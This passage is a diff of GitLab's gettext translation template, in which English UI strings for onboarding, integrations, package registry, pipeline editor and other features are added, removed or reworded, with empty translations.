msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16192,6 +16423,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16204,6 +16438,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16321,9 +16567,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16354,9 +16597,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16441,9 +16681,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16453,9 +16708,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16609,6 +16861,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16858,6 +17113,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16891,6 +17149,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16903,9 +17164,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16918,6 +17188,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17044,6 +17317,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17083,6 +17359,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17098,10 +17377,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17137,9 +17416,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17215,6 +17503,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17254,6 +17545,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17293,6 +17587,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17308,9 +17605,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17440,7 +17734,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17638,10 +17932,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17719,7 +18013,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17905,7 +18199,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18139,6 +18433,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18208,12 +18505,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18241,6 +18532,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18286,6 +18598,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18388,6 +18703,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18397,6 +18715,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18430,13 +18754,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18460,7 +18784,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18535,6 +18859,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18550,10 +18877,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18640,7 +18967,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18688,6 +19015,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18703,6 +19042,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18796,6 +19138,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18829,6 +19174,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18856,9 +19204,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18895,6 +19264,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19138,18 +19510,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19321,6 +19687,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19357,6 +19729,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19852,7 +20227,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20110,6 +20485,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20197,6 +20575,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20392,6 +20773,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20443,9 +20827,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20734,10 +21115,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20839,6 +21220,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21013,10 +21397,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21274,6 +21658,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21406,6 +21796,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21433,6 +21826,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21601,9 +21997,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21703,9 +22096,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22054,7 +22444,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22081,6 +22471,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22294,6 +22687,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22624,6 +23020,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23005,7 +23404,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23104,7 +23503,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23170,6 +23569,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23197,6 +23599,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23239,6 +23644,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23260,6 +23668,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23311,9 +23722,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23323,6 +23743,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23338,6 +23761,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23383,6 +23809,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23395,12 +23824,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23497,7 +23920,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23512,6 +23935,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23563,6 +23989,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23698,6 +24127,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23776,6 +24208,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23830,6 +24265,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23896,6 +24379,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23953,6 +24439,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23974,6 +24463,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24028,6 +24520,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24058,9 +24553,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24358,9 +24850,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24397,6 +24895,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24406,6 +24907,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24439,9 +24943,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24469,6 +24970,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24625,6 +25129,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24979,7 +25486,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25237,6 +25744,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25390,9 +25900,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25867,9 +26374,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25921,12 +26425,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25939,6 +26437,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25951,9 +26452,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25969,10 +26467,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
